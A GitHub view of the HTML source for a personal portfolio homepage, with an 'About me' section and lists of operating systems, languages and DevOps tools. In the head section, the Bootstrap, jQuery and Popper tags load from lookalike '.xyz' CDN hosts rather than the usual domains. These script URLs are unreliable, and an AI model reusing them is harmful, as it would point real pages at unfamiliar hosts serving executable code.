marcellod1.github.io/index.html at main · Marcellod1/marcellod1.github.io · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
<!doctype html>
<html>

<head>
  <meta charset="utf-8">
  <title> MarcelloDB - Home</title>
  <meta name="description" content="">
  <meta name="viewport" content="width = device-width, initial-scale = 1">

  <!-- Get bootstrap stylesheet from the BootStrap CDN -->
  <link rel="icon" href="favicon.ico" type="image/x-icon" />
  <link rel="stylesheet" href="styles.css">
    <!-- Bootstrap javascript plugin bundle -->
  <link href="https://cdn.jsdelivr.xyz/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
  <script src="https://cdn.jsdelivr.xyz/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
  <!-- <script src="https://code.jquery.xyz/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> -->
  <!-- <script src="https://cdn.jsdelivr.xyz/npm/popper.js@1.12.9/dist/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script> -->
  <!-- <script src="https://cdn.jsdelivr.xyz/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script> -->
</head>

<body class="bg-light text-dark">

  <!-- Title -->
  <header class="container-fluid bg-dark text-light p-2">
    <div class="row justify-content-center">
      <div class="text-center col-12 col-md-6">
        <h1 class="fw-bold">Marcello Di Benedetto </h1>
        <p>BSc. Computer Science in HCI</p>
        <a class= "link-no-deco" href="https://github.com/Marcellod1/" target="_blank">
          <img src="resources/img/github.png" alt="linked_in" width="30" height="30">
        </a>
        <a class= "link-no-deco" href="https://www.linkedin.com/in/marcello-di-benedetto-6ab82618b/" target="_blank">
          <img src="resources/img/linked_in.png" alt="linked_in" width="30" height="30">
        </a>
      </div>
    </div>
  </header>

  <!-- Navbar collapsable thanks to https://www.youtube.com/watch?v=qNifU_aQRio -->
  <nav class="navbar justify-content-center navbar-expand-lg sticky-top nav-pills navbar-dark bg-dark">
      <ul class="navbar-nav fw-bold py-2">
        <li class="nav-item ">
          <a class="nav-link active px-5 mx-3" href="index.html">Home</a>
        </li>
        <li class="nav-item ">
          <a class="nav-link px-5 mx-3" href="pages/projects.html">Projects</a>
        </li>
        <li class="nav-item">
          <a class="nav-link disabled px-5 mx-3" href="#">Blog</a>
        </li>
        <li class="nav-item">
            <a class="nav-link disabled px-5 mx-3" href="#">Files</a>
        </li>
        <li class="nav-item">
          <a class="nav-link disabled px-5 mx-3" href="#">Contact</a>
        </li>
      </ul>
  </nav>

  <!-- Body container -->
  <div class="container p-3">
    <div class="row justify-content-center">
      <div class="text-center col-12 p-4 col-lg-6">
        <img src="resources/img/profile_pic.jpg" class="rounded-circle shadow-lg" width="60%" alt="Profile Image">
      </div>
    </div>

    <div class="row justify-content-center">
      <div class="bg-light rounded-3 shadow-lg col-12 p-4 m-2 col-lg-8">
        <h3>About me</h3>

        <p class="text-justified">
          I am a recent graduate from the University of Calgary's BSc. Computer Science in Human Computer Interactions program.
          My interest in computer science has stemmed from the hardware side of things, through the configuration of computing and networking resources for family, friends, clients, and coworkers.
          While striving to learn and align with the best practices in all these cases, I have fostered practical knowledge and an appreciation of the fields of Information Technology and Systems Administration.
        </p>

        <p class="text-justified">
          At my time at UofC, the CPSC program's emphasis on creative and collaborative work has given me confidence in understanding and applying application programming interfaces and common software design methodologies
          to complex software and systems. The more theoretical aspects of my work have provided me with an avenue to satisfy my compulsion to see what makes software tick, from the highest layer of abstraction to the bare metal.
        </p>

        <p class="text-justified">
          My more recent ventures have focused on the fields of DevOps and Information Security. Specifically in the use of containerization and virtualization as a means to organize and secure services used by developers to build, test and run their codebase
          contributions. This has even occupied my extra-curricular time, in the development of a home lab environment for securing my home network, providing media services and performing casual malware analysis.
        </p>

        <p class="text-justified">
          Whenever I have some time to myself, I enjoy building Legos, binging movies, and good old fashioned PC gaming.
        </p>
      </div>
    </div>


    <div class="row justify-content-center">
      <div class="bg-dark text-light rounded-3 shadow-lg col-12 p-4 m-2 col-lg-8">

        <h3> Tech Experience</h3>
        <div class="container">
          <div class="row justify-content-center p-1">
            <div class="col-12 col-md-6 p-1">
              <h5>Operating Systems</h5>
              <ul class="m-2">
                <li>Windows 10 / 8.1 / 7</li>
                <li>Windows Server 2016 - 2019 </li>
                <li>Ubuntu Desktop / Server 20.04 / 18.04 / 16.04 </li>
                <li>Windows Subsystem for Linux (WSL) </li>
              </ul>

              <h5>Development Environments</h5>
              <ul class="m-2">
                <li>Visual Studio 2015 - 2019</li>
                <li>Visual Studio Code</li>
                <li>Atom text editor</li>
                <li>IntelliJ IDEA</li>
                <li>Eclipse IDE 4.0 </li>
                <li>Vim text editior</li>
              </ul>

              <h5>Programming Languages</h5>
              <ul class="m-2">
                <li>C++ 14 - 17</li>
                <li>C 17</li>
                <li>Python 2.6 - 3.8 </li>
                <li>C# 6.0 </li>
                <li>Java JDK 8 - 16 </li>
                <li>Apache Groovy 3.0 </li>
                <li>JavaScript ES6</li>
                <li>Bash Script</li>
                <li>HTML 5</li>
                <li>R 4.0</li>
              </ul>

              <h5>Frameworks and Libraries</h5>
              <ul class="m-2">
                <li>Bootstrap 5.0</li>
                <li>OpenGL 4.0+</li>
              </ul>
            </div>

            <div class="col-12 col-md-6 p-1">
              <h5>Testing</h5>
              <ul class="m-2">
                <li>JUnit 5.0 / 4.0</li>
              </ul>

              <h5>Source Control</h5>
              <ul class="m-2">
                <li>Git Bash</li>
                <li>Tortoise Git</li>
              </ul>

              <h5>Building and Deployment</h5>
              <ul class="m-2">
                <li>GitLab 13.0</li>
                <li>GitLab API 13.0</li>
                <li>GitLab Runners</li>
                <li>CMake</li>
                <li>Jenkins 2.3</li>
                <li>Artifactory 7.0</li>
                <li>JFrog CLI</li>
              </ul>

              <h5>Virtualization</h5>
              <ul class="m-2">
                <li>VirtualBox 6.0 / 5.0</li>
                <li>Hyper-V</li>
                <li>Docker</li>
                <li>XCP-ng 8.0</li>
                <li>Citrix XenServer 7.0 </li>
              </ul>

              <h5>Configuration Management</h5>
              <ul class="m-2">
                <li>Ansible 2.5+</li>
                <li>Vagrant 2.0+</li>
              </ul>
            </div>
          </div>
        </div>

      </div>
    </div>

  <!-- Body container -->
  </div>

  <!-- Footer -->
  <footer class="container-fluid bg-dark text-light shadow-lg p-2">
    <div class="row justify-content-center">
      <div class="text-center col-12 col-md-6  offset-md-3">
        <p>Copyright © 2021 Marcello Di Benedetto</p>
      </div>
      <div class="text-center col-12 col-md-3">
        <p>Powered by <a class= "fw-bold link-no-deco" href="https://getbootstrap.com/" target="_blank">Bootstrap<a></p>
      </div>
  </footer>
</body>
</html>